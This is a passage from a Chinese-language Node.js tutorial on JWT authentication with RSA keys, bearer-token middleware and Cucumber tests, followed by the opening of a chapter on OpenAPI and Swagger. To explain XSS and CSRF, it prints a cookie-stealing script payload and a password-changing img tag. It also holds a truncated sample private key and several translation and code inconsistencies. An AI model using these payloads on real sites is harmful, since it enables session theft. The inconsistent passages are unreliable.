对称密钥长度(AES) | 标准非对称密钥长度(RSA) | 椭圆曲线密钥长度(ECDSA) |
---|---|---|
80 | 1024 | 160 |
112 | 2048 | 224 |
128 | 3072 | 256 |
192 | 7680 | 384 |
256 | 15360 | 512 |
然而,由于 ECDSA 仍然是一套相对较新的算法,它不像 RSA 这样的更成熟的算法那样得到工具的广泛支持。因此,我们将使用 4096 位长度的 RSA。
关于加密的说明
目前,头部和有效载荷仅使用 base-64 编码,这意味着任何人都可以解码它们并读取其内容。这也意味着,如果我们将在有效载荷中包含任何敏感信息,任何人都可以读取它。理想情况下,我们应该确保 JWT 尽可能携带最少的敏感信息,仅足够 JWT 的消费者识别并授予用户权限。对于我们的用例,我们将在有效载荷中仅包含用户 ID,这无论如何都将被视为公开信息,因此加密我们的令牌并不带来太多价值。
然而,重要的是要理解 JWT 可以被加密。
术语和总结
前面的章节介绍了很多新术语,可能会让人感到不知所措。因此,在我们继续前进之前,让我们快速回顾并扩展一些使用的术语。
声明 由一个 声明名称 和 声明值 的键值对组成。一组表示为 JSON 对象的声明是一个 声明集;声明集中的单个声明也可以称为声明集的 成员。
JSON Web Token(JWT)是一个字符串,它包括JOSE 头部和声明集,并已签名(可选)加密。
要生成签名,服务器必须使用JSON Web 算法(JWA)规范中指定的算法对头部和声明集进行签名,该规范使用JSON Web 密钥(JWK)规范中定义的加密密钥。头部、声明集和签名的组合成为JSON Web 签名(JWS)。
然而,声明集可以被 base64 解码成明文,因此令牌的内容不是私密的。因此,我们可以使用 JWA 规范中定义的另一个算法来加密我们的声明集和 JOSE 头部,以确保敏感数据保持私密。这个加密的 JWT 然后是一个JSON Web 加密(JWE)。
JWS 和 JWE 是 JWT 的两种不同表示形式。换句话说,JWT 可能有两种风味。换句话说,JWT 必须符合 JWS 或 JWE 规范。为了认证目的,通常的流程是对声明集进行签名以生成 JWS,然后加密生成的 JWS 以生成 JWE。JWS 被称为嵌套在 JWE 结构中。
一个既未签名也未加密的 JWT 被称为不安全。
返回令牌
现在我们知道了 JWT 是如何工作的,让我们开始实现 JWT,首先在用户首次成功认证时返回一个 JWT。对于我们的简单用例,它不需要不同的权限级别,我们只需在负载中包含一个单一的sub
声明,并将其值设置为用户的电子邮件。
添加端到端测试
要开始,我们将简单地测试我们的POST /login
端点返回一个包含用户电子邮件作为负载的 JWT。在Login attaching a well-formed payload
场景的末尾,添加以下步骤:
And the response string should satisfy the regular expression /^[\w-]+\.[\w-]+\.[\w-.+\/=]*$/
And the JWT payload should have a claim with name sub equal to context.userId
第二步(JWT 的有效负载应该有一个名为 sub 的声明,其值等于 context.email
)未定义。要实现它,我们必须将令牌分成三部分,即头部、负载和签名;对 JWT 负载进行 base64 解码;然后检查其sub
属性是否等于预期的用户 ID。然而,我们不必自己实现这个逻辑,我们可以简单地使用jsonwebtoken
包。因此,让我们将其添加为一个正常依赖项,因为我们还需要它来实现代码:
$ yarn add jsonwebtoken
然后,在spec/cucumber/steps/response.js
中添加以下步骤定义:
import assert, { AssertionError } from 'assert';
import { decode } from 'jsonwebtoken';
Then(/^the JWT payload should have a claim with name (\w+) equal to context.([\w-]+)$/, function (claimName, contextPath) {
const decodedTokenPayload = decode(this.responsePayload);
if (decodedTokenPayload === null) {
throw new AssertionError();
}
assert.equal(decodedTokenPayload[claimName], objectPath.get(this, contextPath));
});
运行测试,这两个步骤应该失败。
实现
如前所述,我们将使用 RSA 算法来生成 JWT 的签名,这需要生成私钥和公钥。因此,我们必须做的第一件事是生成密钥对。我们可以使用ssh-keygen
命令在本地执行此操作:
$ mkdir keys && ssh-keygen -t rsa -b 4096 -f ./keys/key
在这里,我们使用 -t
标志来指定我们想要生成 RSA 密钥对,并使用 -b
标志来指定位大小为 4,096 的密钥。最后,我们使用 -f
标志来指定密钥要存储的位置。这将生成一个类似这样的私钥(为了简洁而截断):
-----BEGIN RSA PRIVATE KEY-----
MIIJKAIBAAKCAgEAsTwK1Tireh3TVaJ66yUEAtLPP5tNuqwZW/kA64t7hgIRVKee
1WjbKLcHIJcAcioHJnqME96M+YRaj/xvlIFSwIbY1CRPgRkqH7kHs6mnrOIvmiRT
...
...
/cH3z0iGJh6WPrrw/xhil4VQ7UUSrD/4GC64r1sFS9wZ6d+PHPtcmlbkbWVQb/it
2goH/g6WLIKABZNz2uWxmEnT7wOO+++tIPL8q4u1p9pabuO8tsgHX4Tl6O4=
-----END RSA PRIVATE KEY-----
它还将生成一个类似这样的公钥(为了简洁而截断):
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAA....7j7CyQ== username@hostname
然而,jsonwebtoken
包期望我们的 RSA 密钥是 PEM 编码的,因此我们必须执行一个额外的步骤来将公钥导出为编码的 PEM 文件:
$ ssh-keygen -f ./keys/key.pub -e -m pem > ./keys/key.pub.pem
这将生成一个类似以下密钥(为了简洁而截断):
-----BEGIN RSA PUBLIC KEY-----
MIICCgKCAgEAsTwK1Tireh3TVaJ66yUEAtLPP5tNuqwZW/kA64t7hgIRVKee1Wjb
KLcHIJcAcioHJnqME96M+YRaj/xvlIFSwIbY1CRPgRkqH7kHs6mnrOIvmiRTPxSO
...
XjxHHzaebcsy1ccp3cUHP2/3WOAz35x1UdFvYwQ/Qjh9Ud1Yoe4+wskCAwEAAQ==
-----END RSA PUBLIC KEY-----
现在,我们不想将这些密钥文件提交到我们仓库的历史记录中,有以下几个原因:
-
任何有权访问仓库的人都可以获取密钥的副本(最重要的是私钥),并能够冒充真实的服务器。私钥应该尽可能少的人知道;甚至开发者也不需要知道生产密钥。唯一需要知道的人是管理服务器的系统管理员。
-
如果我们的密钥硬编码在代码中,那么如果我们想要更改这些密钥,我们就必须更新代码,提交到仓库,并重新部署整个应用程序。
那么,更好的替代方案是什么?
最安全的替代方案是使用 可信平台模块(TPM),这是一个嵌入到服务器主板上的微控制器(一个计算机芯片),允许你安全地存储加密密钥。如果你加密了你的开发机器,用于加密和解密机器的密钥存储在 TPM 中。同样,你可以使用 硬件安全模块(HSM),它与 TPM 类似,但不是嵌入到主板中,而是一个可拆卸的外部设备。
然而,使用 TPM 和 HSM 对于大多数云服务器来说不是一个可行的选项。因此,最好的选择是将密钥作为环境变量存储。然而,我们的密钥跨越多行;我们如何定义多行环境变量?
多行环境变量
目前,我们在运行应用程序时使用 dotenv-cli
包来加载我们的环境变量,它支持多行变量,只要你在双引号 ("
) 中包含变量,并用 \n
替换换行符。因此,我们可以通过将以下条目(为了简洁而截断)添加到我们的 .env
、.env.example
、test.env
和 test.env.example
文件中来定义我们的密钥:
PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY-----\nMIIJKAIBAAKCAgEAsTwK1Tireh3TVaJ66yUEAtLPP5tNuqwZW/kA64t7hgIRVKee\n1WjbKLcHIJcAcioHJnqME96M+YRaj/xvlIFSwIbY1CRPgRkqH7kHs6mnrOIvmiRT\nPxSOtzy........tsgHX4Tl6O4=\n-----END RSA PRIVATE KEY-----"
PUBLIC_KEY="-----BEGIN RSA PUBLIC KEY-----\nMIICCgKCAgEAsTwK1Tireh3TVaJ66yUEAtLPP5tNuqwZW/kA64t7hgIRVKee1Wjb\nKLcHIJcAcioHJnqME96M+YRaj/xvlIFSwIbY1CRPgRkqH7kHs6mnrOIvmiRTPxSO\ntzydJxN........+wskCAwEAAQ==\n-----END RSA PUBLIC KEY-----"
生成令牌
然后,在 src/index.js
中,从 jsonwebtoken
包中导入 sign
方法,并通过处理程序将其传递给引擎。然后,更新引擎函数,当找到具有这些凭证的用户时,返回已签名的 JWT。请注意,我们正在使用存储在 process.env.PRIVATE_KEY
中的私钥来签名令牌:
function loginUser(req, db, validator, ValidationError, sign) {
...
return client.search( ... )
.then((res) => {
if (res.hits.total > 0) {
const payload = { sub: res.hits.hits[0]._id };
const options = { algorithm: 'RS512' };
const token = sign(payload, process.env.PRIVATE_KEY, options);
return token;
}
return Promise.reject(new Error('Not Found'));
});
}
现在,再次运行我们的测试,它们应该都会通过。
附加令牌
我们现在正在向客户端提供一个他们可以用作电子邮件/密码的令牌,但他们应该如何将其附加到后续请求中?一般来说,有五种方法可以将信息附加到 HTTP 请求中:
-
作为 URL 参数
-
作为查询字符串
-
在请求体内部
-
作为 HTTP Cookie
-
作为头字段
URL 参数用于路由,将其附加到摘要没有意义。查询字符串用于与查询相关的事物,例如设置 limit
以限制搜索端点返回的结果数量;将信息附加到与查询无关的地方也没有意义。至于请求体;我们并不总是可以在请求体中包含摘要,因为一些端点,如更新个人资料,使用请求体来携带有效负载。这使我们只剩下使用 Cookie 或头字段。
HTTP Cookie
一个 HTTP Cookie(如网页 Cookie 或浏览器 Cookie)是一个服务器可以发送到客户端的非常简单的字典/键值存储。它是通过 Set-Cookie
头由服务器发送的。例如,一个 Set-Cookie
头可能看起来像这样:
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Expires=<date>
可以在同一个响应消息中发送多个 Set-Cookie
头,以组成键值存储。
Cookie 的特别之处在于,大多数浏览器客户端都会在后续请求中自动将这个键值存储发送回去,这次是在 Cookie
头内部:
Cookie: name1=value1; name2=value2
因此,如果我们使用 Cookie 在浏览器中存储用户的会话 ID,它将允许服务器确定请求是否来自同一客户端,因为 Cookie 中将包含相同的会话 ID。
Cookie 的 Domain
指令决定了客户端将为哪个域名(或子域名)设置 Cookie
头。例如,由 abc.xyz
设置的 Cookie 只会在客户端向 abc.xyz
发送请求时返回,而不会在请求将发送到 foo.bar
时返回。
虽然 Cookie 听起来是个好主意,但使用 Cookie 有很多缺点,尤其是在处理跨域和 CORS 的情况下。因为 Cookie 只适用于该域名(或其子域名),如果相关服务位于不同的域名下,它们将无法进行身份验证。例如,当我们的平台从简单的用户目录(部署在 hobnob.social
)扩展到,比如说,一个活动组织应用(hobnob.events
),并且我们希望让已经登录到 hobnob.social
的用户也能自动登录到 hobnob.events
;由于 Cookie 是由不同域名设置的,这无法通过 Cookie 实现。
对于浏览器来说,Cookie 更加方便;对于非浏览器客户端来说,管理 Cookie 则更加麻烦。
此外,Cookie 也容易受到 跨站脚本(XSS)和 跨站请求伪造(XSRF)攻击。
跨站脚本(XSS)
跨站脚本(XSS)是指恶意方将一些 JavaScript 注入由服务器提供的页面中。例如,如果服务器没有对评论进行清理,那么恶意方可以写入以下评论:
document.write('<img src="img/collect.gif?cookie=' + document.cookie + '" />')
document.cookie
是一个全局属性,包含为当前域名设置的所有的 cookie。因此,当下一个访问者访问您的网站时,他们将输出 document.cookie
的值,并将其作为查询字符串发送到 some.malicious.endpoint
。一旦恶意方从访问者的 cookie 中获取到会话 ID 或令牌,他们就能冒充该用户。
跨站请求伪造(XSRF)
在 XSRF 的情况下,恶意方将尝试在受害者不知情的情况下向目标应用程序发送请求。例如,恶意方可能有一个位于 malicious.com
的网站,并包含以下定义的 img
标签:
<img src="img/?newPassword=foobar">
现在,当受害者访问 malicious.com
时,他们的浏览器将向 http://target.app/change-password/?newPassword=foobar
发送一个 GET
请求,并附带该域的任何 cookie。因此,如果用户已经在另一个浏览器标签中进行了认证,那么这个 GET
请求就会像是由用户发起的一样被接收。
跨站脚本(XSS)是 OWASP 基金会十大应用安全风险之一。您可以在 OWASP 网站上了解更多关于 XSS 的信息(owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)). 类似地,XSRF 在 OWASP 上也有一个页面(owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)).
HTTP 头部
由于使用 cookie 的安全性较低,尤其是对于浏览器客户端,并且因为它需要我们做更多的工作来保护我们的 API,所以我们不应该存储和发送我们的令牌使用 cookie。相反,我们应该使用现代 Web 存储 API(sessionStorage
或 localStorage
)来存储令牌,并使用 HTTP 头部字段将其发送回来。
授权头部
那么,我们应该使用哪个 HTTP 头部呢?常见的做法是使用 Authorization
头部,其语法如下:
Authorization: <type> <credentials>
type
是 认证类型,而 credentials
是用户凭证的表示。支持许多类型的认证方案,例如 Basic
、Bearer
、Digest
、Negotiate
和 OAuth
,以及更多。最常见的是 Basic
和 Bearer
。
互联网数字分配机构(IANA)在其注册表中维护一份有效的认证方案列表,该注册表位于iana.org/assignments/http-authschemes/http-authschemes.xhtml。
Basic
方案将凭证作为冒号分隔的用户名/密码对发送(例如,username:password
),这些凭证是 Base64 编码的。它也是最原始和不安全的认证方案,因为用户名和密码以明文形式传输。
相反,我们将使用 Bearer
方案,其中凭证是令牌本身:
Authorization: Bearer eyJhbGciOiJSUzUxMiIsInR5cCI6I...2ufQdDkg
编写测试
既然我们已经决定使用 Bearer
方案通过 Authorization
头部附加我们的令牌,我们的下一步是为此认证系统编写测试。对于我们的用例,让我们假设所有更改用户文档的端点(即,所有 POST
、PATCH
和 PUT
请求,除了 /login
)都需要一个令牌,其中 sub
属性与用户的 ID 匹配。
和往常一样,我们通过编写测试开始开发。让我们从删除用户端点开始,它应该响应如下:
-
200 OK
如果Authorization
头部设置为格式良好的凭证(例如,它具有username:bcrypt-digest
的结构。我们将在下一步验证这些凭证是否与真实用户相对应;现在,我们只关心它是否有正确的结构。) -
如果
Authorization
头部已设置但其值不是格式良好的,则返回400 Bad Request
。 -
如果
Authorization
头部根本未设置,或者凭证与指定的用户不匹配,则返回401 Unauthorized
。 -
如果用户尝试删除另一个用户,则返回
403 Forbidden
。 -
如果要删除的用户找不到,则返回
404 Not Found
。
特性和场景
我们必须修改现有的删除用户 E2E 测试,以包括这些新场景;最终结果可能看起来像这样:
Feature: Delete User by ID
Clients should be able to send a request to our API in order to delete a user.
Background: Create two Users and logs in with the first user's account
Given 2 new users are created with random password and email
And the client creates a POST request to /login
And attaches a valid Login payload
And sends the request
And saves the response text in the context under token
Scenario Outline: Wrong Authorization Header Scheme
When the client creates a DELETE request to /users/:userId
And set the HTTP header field "Authorization" to "<header>"
And sends the request
Then our API should respond with a 400 HTTP status code
And the payload of the response should be a JSON object
And contains a message property which says "The Authorization header should use the Bearer scheme"
Examples:
| header |
| Basic e@ma.il:hunter2 |
Scenario Outline: Invalid Token Format
When the client creates a DELETE request to /users/:userId
And set the HTTP header field "Authorization" to "Bearer <token>"
And sends the request
Then our API should respond with a 400 HTTP status code
And the payload of the response should be a JSON object
And contains a message property which says "The credentials used in the Authorization header should be a valid bcrypt digest"
Examples:
| token |
| |
| 6g3$d21"dfG9),Ol;UD6^UG4D£SWerCSfgiJH323£!AzxDCftg7yhjYTEESF |
| $2a$10$BZze4nPsa1D8AlCue76.sec8Z/Wn5BoG4kXgPqoEfYXxZuD27PQta |
Scenario: Delete Self with Token with Wrong Signature
The user is trying to delete its own account, the token contains the correct payload, but the signature is wrong.
When the client creates a DELETE request to /users/:userId
And sets the Authorization header to a token with wrong signature
And sends the request
Then our API should respond with a 400 HTTP status code
And the payload of the response should be a JSON object
And contains a message property which says "Invalid signature in token"
Scenario: Delete Self
When the client creates a DELETE request to /users/:userId
And sets the Authorization header to a valid token
And sends the request
Then our API should respond with a 200 HTTP status code
When the client creates a GET request to /users/:userId
And sends the request
Then our API should respond with a 404 HTTP status code
Scenario: Delete Non-existing User
When the client creates a DELETE request to /users/:userId
And sets the Authorization header to a valid token
And sends the request
Then our API should respond with a 200 HTTP status code
When the client creates a DELETE request to /users/:userId
And sets the Authorization header to a valid token
And sends the request
Then our API should respond with a 404 HTTP status code
Scenario: Delete Different User
A user can only delete him/herself. When trying to delete another user, it should return with 403 Forbidden.
When the client creates a DELETE request to /users/:users.1.id
And sets the Authorization header to a valid token
And sends the request
Then our API should respond with a 403 HTTP status code
And the payload of the response should be a JSON object
And contains a message property which says "Permission Denied. Can only delete yourself, not other users."
首先,我们将测试的背景从创建一个用户改为创建两个用户;我们这样做是为了稍后测试一个用户尝试删除另一个用户的场景。此外,我们还在后台登录用户并将返回的认证令牌保存到上下文中。
然后,我们为 Authorization
头部添加了一些测试,确保其格式正确,其值看起来格式良好,并且签名有效。最后,我们添加了确保只有用户可以删除自己的测试。如果他/她尝试删除另一个用户,将会返回一个 403 Forbidden
错误。
实现步骤定义
然后,在 spec/cucumber/steps/request.js
中实现以下步骤定义:
When(/^set the HTTP header field (?:"|')?([\w-]+)(?:"|')? to (?:"|')?(.+)(?:"|')?$/, function (headerName, value) {
this.request.set(headerName, value);
});
When(/^sets the Authorization header to a valid token$/, function () {
this.request.set('Authorization', `Bearer ${this.token}`);
});
When(/^sets the Authorization header to a token with wrong signature$/, function () {
// Appending anything to the end of the signature will invalidate it
const tokenWithInvalidSignature = `${this.token}a`;
this.request.set('Authorization', `Bearer ${tokenWithInvalidSignature}`);
});
验证请求中的摘要
现在我们已经添加了测试,是时候实现这个功能了。既然我们知道我们想要检查大多数请求的令牌,我们不应该仅在删除用户引擎中定义令牌验证逻辑。相反,我们应该将所有通用验证步骤(例如,令牌是有效的 JWT,签名格式良好等)抽象到中间件中。
首先,在 src/middlewares/authenticate/index.js
创建一个包含以下模板的文件:
function authenticate (req, res, next) {}
export default authenticate;
首先,我们希望允许任何人获取单个用户和搜索用户;因此,当请求是GET
请求时,我们不需要验证令牌。在认证函数的顶部添加以下检查:
if (req.method === 'GET') { return next(); }
通常,在浏览器发送 CORS 请求之前,它会发送一个预检请求来检查是否理解 CORS 协议。此请求使用OPTIONS
方法,因此我们也不需要验证OPTIONS
请求的令牌:
if (req.method === 'GET' || req.method === 'OPTIONS') { return next(); }
接下来,我们还想让未认证的用户能够调用创建用户和登录端点。在上一行下面,添加以下早期返回检查:
if (req.method === 'POST' && req.path === '/users') { return next(); }
if (req.method === 'POST' && req.path === '/login') { return next(); }
对于任何其他端点,都需要Authorization
头。因此,我们将接下来检查Authorization
头是否存在。如果头未设置,则返回401 Unauthorizated
错误:
const authorization = req.get('Authorization');
if (authorization === undefined) {
res.status(401);
res.set('Content-Type', 'application/json');
return res.json({ message: 'The Authorization header must be set' });
}
接下来,我们检查Authorization
的值是否有效。首先,我们可以使用以下代码来检查是否指定了方案,并将其设置为值"Bearer"
:
const [scheme, token] = authorization.split(' ');
if (scheme !== 'Bearer') {
res.status(400);
res.set('Content-Type', 'application/json');
return res.json({ message: 'The Authorization header should use the Bearer scheme' });
}
然后,我们将检查令牌是否是有效的 JWT。我们通过指定一个正则表达式并检查在头中指定的令牌是否符合此正则表达式来完成此操作。这使用了jsonwebtoken
库,所以请确保在顶部导入它:
const jwtRegEx = /^[\w-]+\.[\w-]+\.[\w-.+/=]*$/;
// If no token was provided, or the token is not a valid JWT token, return with a 400
if (!token || !jwtRegEx.test(token)) {
res.status(400);
res.set('Content-Type', 'application/json');
return res.json({ message: 'The credentials used in the Authorization header should be a valid bcrypt digest' });
}
我们已经完成了所有相对资源密集型任务,并在这些基本条件不满足时提前退出。在这个中间件的最后一步,我们将实际上使用验证方法来检查负载是否是有效的 JSON 对象,签名是否有效。如果是,那么我们将向req
对象添加一个带有用户 ID 的user
属性:
import { JsonWebTokenError, verify } from 'jsonwebtoken';
verify(token, process.env.PUBLIC_KEY, { algorithms: ['RS512'] }, (err, decodedToken) => {
if (err) {
if (err instanceof JsonWebTokenError && err.message === 'invalid signature') {
res.status(400);
res.set('Content-Type', 'application/json');
return res.json({ message: 'Invalid signature in token' });
}
res.status(500);
res.set('Content-Type', 'application/json');
return res.json({ message: 'Internal Server Error' });
}
req.user = Object.assign({}, req.user, { id: decodedToken.sub });
return next();
});
要应用中间件,请将其添加到src/index.js
中,在其他所有中间件之后,但在路由定义之前:
import authenticate from './middlewares/authenticate';
...
app.use(bodyParser.json({ limit: 1e6 }));
app.use(authenticate);
app.get('/salt', ...);
...
然而,我们还没有完成。中间件仅验证令牌,但它仍然不能阻止用户删除另一个用户。为了实现这一点,请将以下行添加到删除用户引擎的顶部:
if (req.params.userId !== req.user.id) {
return Promise.reject(new Error('Forbidden'));
}
在删除用户处理程序中,定义一个 if 块来捕获Forbidden
错误并返回403 Forbidden
状态码:
function del(req, res) {
return engine(req)
.then(() => { ... })
.catch((err) => {
if (err.message === 'Not Found') { ... }
if (err.message === 'Forbidden') {
res.status(403);
res.set('Content-Type', 'application/json');
res.json({ message: 'Permission Denied. Can only delete yourself, not other users.' });
return err;
}
...
})
}
如果我们运行删除用户端点的端到端测试,它们都应该通过!现在,按照相同的步骤将身份验证和授权逻辑添加到替换个人资料和更新个人资料端点。首先更新端到端测试,然后更新引擎和处理程序以处理用户尝试执行他们无权执行的操作的情况。
此外,更新单元和集成测试,如果觉得有必要,添加更多测试,然后将代码提交到远程仓库。
如果遇到困难,请查看我们提供的代码包中的实现。在进入下一章之前做这件事。
下一步
如我们在本章开头提到的,我们在这里提出的认证/授权方案非常基础,你需要采取进一步的步骤来真正确保其安全性。在这里,我们将简要介绍一些你可以实施的措施来进一步提高你 API 的安全性。
防止中间人(MITM)攻击
目前,我们依赖于客户端在发送到网络之前对他们的密码进行哈希处理。我们这样做是为了让我们的客户端不必信任我们的 API 服务器来处理他们的凭证。摘要现在实际上被用作密码。
然而,任何位于我们的客户端和服务器之间的代理服务器都能够读取摘要,并可以使用这些“被盗”的凭证进行认证,伪装成我们的客户端。
另一个问题是我们虽然能够验证客户端,但客户端没有验证我们服务器身份的方法。同样,代理服务器可以伪装成我们的 API 服务器,诱骗客户端向它们发送敏感信息。
要可靠地防止这两个问题的唯一方法是在连接上实施端到端加密(E2EE),使用超文本传输协议安全(HTTPS),这是 HTTP 的安全版本。要使用 HTTPS,你需要为你的域名设置 SSL/TLS 证书,并将该证书注册到一个建立良好且信誉良好的证书颁发机构(CA)。
当客户端想要通过 HTTPS 安全地发送一个 HTTP 消息(可能包含凭证)时,他们会向 CA 请求我们网站的证书,并使用该证书加密 HTTP 消息。加密会隐藏消息并防止第三方解密消息。只有服务器才有解密此消息的密钥,所以即使有恶意代理服务器拦截消息,它们也无法理解它。
在 OWASP 网站上了解更多关于中间人攻击的信息:owasp.org/index.php/Man-in-the-middle_attack。
如果你想在 API 上启用 HTTPS,Linux Foundation 提供了一个名为 Let's Encrypt 的免费 CA(letsencrypt.org)。它还提供了一个名为 Certbot 的工具(certbot.eff.org),它允许你自动部署 Let's Encrypt 证书。不妨试试看!
加密摘要
使用我们当前的方案,客户端创建的摘要直接存储在数据库中。现在,如果黑客能够访问数据库服务器,他们就能够以任何用户的身份进行认证。此外,由于攻击者将同时拥有摘要和盐值,他们可能能够通过暴力破解用户的密码。
一种减轻这种问题的方法是用一个盐值——盐值的一种变体,具有以下不同之处:
-
盐值不是公开的
-
盐值不存储在数据库中,而是在另一个应用服务器上,这样盐值和盐值就分开了
-
pepper 可能是一个在应用程序服务器中设置为环境变量的常量
这就是使用 pepper 的身份验证方法将如何工作:客户端将加盐的密码摘要发送到服务器,服务器再次使用 pepper 对摘要进行哈希处理,并将双哈希摘要存储在数据库中。
现在,如果一个黑客能够访问数据库服务器(但不是应用程序代码),他/她将能够获得密码摘要和盐,但由于他/她不知道 pepper(或者更好的是,甚至不知道 pepper 的存在),他/她将无法使用摘要进行身份验证(因为我们的服务器会再次对其进行哈希处理,而得到的哈希值将不会与数据库中我们拥有的摘要匹配)。此外,即使攻击者花费时间和资源进行暴力破解,他们也无法推导出原始密码。
然而,只有当您的应用程序服务器安全时,pepper 才是有用的。如果秘密 pepper 任何时候被知晓,它就不能被撤回,因为所有我们的密码都是与 pepper 哈希的;由于哈希是一个单向过程,我们无法使用新的 pepper 重新生成所有密码哈希。无法轮换这个秘密 pepper 使得这种类型的 pepper 无法维护。
作为替代方案,可以不重新哈希加盐的密码摘要,而是使用可逆的块加密来可逆地加密摘要。
块加密
块加密是一种用于对称密钥加密的算法,它接受两个参数——一个明文和一个密钥,并将它们通过算法进行处理以生成一个密文。其想法是生成一个看似随机的密文,以便无法从密文中推断出明文输入(就像哈希一样):
const ciphertext = encrypt(plaintext, key);
然而,与哈希不同,块加密是可逆的;给定密文和密钥,可以重新生成明文:
const plaintext = decrypt(ciphertext, key);
在我们的摘要上使用块加密而不是应用 pepper 意味着,如果我们的应用程序服务器(以及因此 pepper)被破坏,我们可以在数据库上运行一个简单的函数,将密文解密回摘要,并使用新的密钥重新加密。
探索安全的远程密码(SRP)协议
安全远程密码协议(SRP)是一个行业标准协议,用于基于密码的认证和密钥交换。像我们的基本方案一样,密码永远不需要离开客户端。它能够在以下情况下安全地验证用户:
-
攻击者完全了解协议
-
攻击者可以访问一个常用密码的大字典
-
攻击者可以监听客户端和服务器之间的所有通信
-
攻击者可以拦截、修改和伪造客户端和服务器之间的任意消息
-
没有可用的相互信任的第三方
此列表是从 SRP 的官方网站提取的 (srp.stanford.edu/whatisit.html)
SRP 被亚马逊网络服务(AWS)和苹果的 iCloud 等使用。所以如果你对安全性感兴趣,我建议你阅读一些关于 SRP 的资料!
摘要
在本章中,我们实现了允许用户对我们的 API 服务器进行身份验证的逻辑。我们还使用了 JSON Web Tokens 来保持我们的应用程序无状态;当我们想要扩展应用程序时,这一点很重要,我们将在第十八章“使用 Kubernetes 的强大基础设施”中讨论这一点。
然而,重要的是要记住,安全性并非易事。在本章中我们所涵盖的只是这个谜题的一小部分。你应该将本章视为保护你的应用程序的第一步,并且始终关注最新的安全漏洞和最佳实践。
在下一章中,我们将通过使用OpenAPI和Swagger来记录我们的 API,来完成我们的后端 API。
第十三章:记录我们的 API
到目前为止,我们一直遵循测试驱动的方法来开发我们的用户目录应用程序。我们首先编写端到端(E2E)测试,并使用它们来驱动实现代码的开发,然后添加单元测试来捕获回归。我们还讨论了编写测试是最佳文档形式,因为它提供了如何与我们的 API 交互的实际示例。
虽然我们的测试套件是最准确和最好的文档形式,但所有主要 API 的提供者也维护基于浏览器的 API 文档,您的最终用户可以将其作为网页/站点访问。这是因为:
-
并非所有 API 都是开源的,因此开发者可能无法始终访问测试。
-
理解测试套件可能需要大量的时间和精力。
-
测试缺乏上下文——您知道如何调用端点,但您将不得不自己弄清楚它如何适应应用程序的工作流程。
-
它是语言和框架特定的——基于浏览器的文档描述了 API 的接口,而不是实现。无论我们的 API 是用 Express、Restify、Hapi、Python 还是 Go 实现的,最终用户都不需要理解 JavaScript 就能理解这种文档形式。
如果我们只是向最终用户提供测试套件而不提供进一步指导,他们可能会因为陡峭的学习曲线而感到沮丧,并决定使用替代服务。因此,我们必须提供更用户友好的 API 文档。
API 文档通过示例描述了每个端点的功能以及调用它们的约束。好的 API 文档通常:
-
提供了我们 API 的高级概述,包括:
-
平台的简要概述
-
示例用例
-
在哪里可以找到更多资源或获得支持
-
-
包含一个简明扼要的逐步引导游览,说明如何执行常见场景(例如创建用户,然后登录);也就是说,需要调用哪些 API 调用,以及它们的顺序。
-
包含 API 规范,它提供了每个端点的技术参考——允许哪些参数以及它们的格式。
高级概述和引导游览的编写属于技术作家的范围。但什么是好的技术写作超出了本书的范围;相反,我们将专注于如何编写好的 API 规范。具体来说,我们将使用 OpenAPI API 规范语言来编写我们的 API 规范,然后使用一套称为 Swagger 的工具来生成交互式的基于浏览器的 API 参考。
通过遵循本章,您将:
-
了解OpenAPI 规范(OAS)
-
使用YAML编写您自己的 OpenAPI 规范
-
使用Swagger UI生成基于 Web 的 API 文档
OpenAPI 和 Swagger 概述
API 描述语言(或API 描述格式)是描述 API 的标准格式。例如,下面的片段通知我们的 API 消费者,在调用POST /login
端点时,他们需要提供一个包含email
和digest
字段的 JSON 有效负载。作为回报,他们可以期待我们的 API 以以下四种列出的状态码之一响应:
paths:
/login:
post:
requestBody:
description: User Credentials
required: true
content:
application/json:
schema:
properties:
email:
type: string
format: email
digest:
type: string
pattern: ^\\$2[aby]?\\$\\d{1,2}\\$[.\\/A-Za-z0-9]{53}$
responses:
'200':
$ref: '#/components/responses/LoginSuccess'
'400':
$ref: '#/components/responses/ErrorBadRequest'
'401':
$ref: '#/components/responses/ErrorUnauthorized'
'500':
$ref: '#/components/responses/ErrorInternalServer'
编写 API 规范有几种好处:
-
该规范充当了我们平台与最终消费者之间的合同,这并不仅限于开发者,还包括其他内部 API。拥有合同意味着我们的 API 消费者能够在我们的 API 完成之前开发他们的集成——因为我们已经通过规范同意了我们的 API 应该如何表现——只要每个人都忠于 API 规范,集成就会成功。
-
它迫使我们设计接口。
-
我们可以创建模拟服务器。这些模拟服务器模仿真实 API 服务器的行为,但以预定义的响应进行响应。在我们的 API 完成之前,我们可以为最终消费者提供这个模拟服务器,这样他们就会知道我们的 API 应该如何响应。
-
使用开源工具(如 Dredd—dredd.org),我们可以自动测试我们的 API 服务器,以查看它是否遵守规范。
-
使用与我们的 API 服务器集成的工具,我们可以使用规范自动验证请求和响应,而无需编写额外的验证代码。
选择 API 规范语言
上述示例使用了一个称为OpenAPI(以前称为Swagger)的标准。在撰写本文时,还有两种其他流行的 API 规范语言,即RAML和API Blueprint。在继续之前,重要的是要注意,每种语言都有其自身的一套限制,即它如何准确地描述现有的 API,或者围绕它的工具的全面性。然而,在这三者中,OpenAPI 是最成熟的,并且拥有最好的社区支持,这就是我们将在本章中使用的规范。
Swagger vs OpenAPI
在线阅读文章时,你经常会听到 Swagger 和 OpenAPI 这两个术语被互换使用。因此,在我们继续之前,让我们澄清这些术语。Swagger始于 2011 年,是一套工具,允许开发者将 API 表示为代码,以便自动生成文档和客户端 SDK。Swagger 自那时起已经经历了两个主要版本(1.0 和 2.0)。在 Swagger 2.0 发布后,Swagger 的权利被 SmartBear Software 购买,该公司决定将规范格式的权利捐赠给 Linux Foundation,在 OpenAPI 倡议下。
2016 年 1 月 1 日,Swagger 规范被更名为OpenAPI 规范(OAS)。从那时起,OAS 的一个新版本,3.0.0,已经发布。
OAS 2.0 与 Swagger 2.0 在名称上相同。
然而,尽管规范已被重命名为 OAS,但围绕该规范的工具仍然由 SmartBear Software 开发和维护;因此,您可能会同时听到开发者谈论 Swagger 和 OpenAPI。
简而言之,OpenAPI 是规范语言本身,而 Swagger 是一套与 OpenAPI 规范一起工作和围绕其工作的工具集。
Swagger 工具链
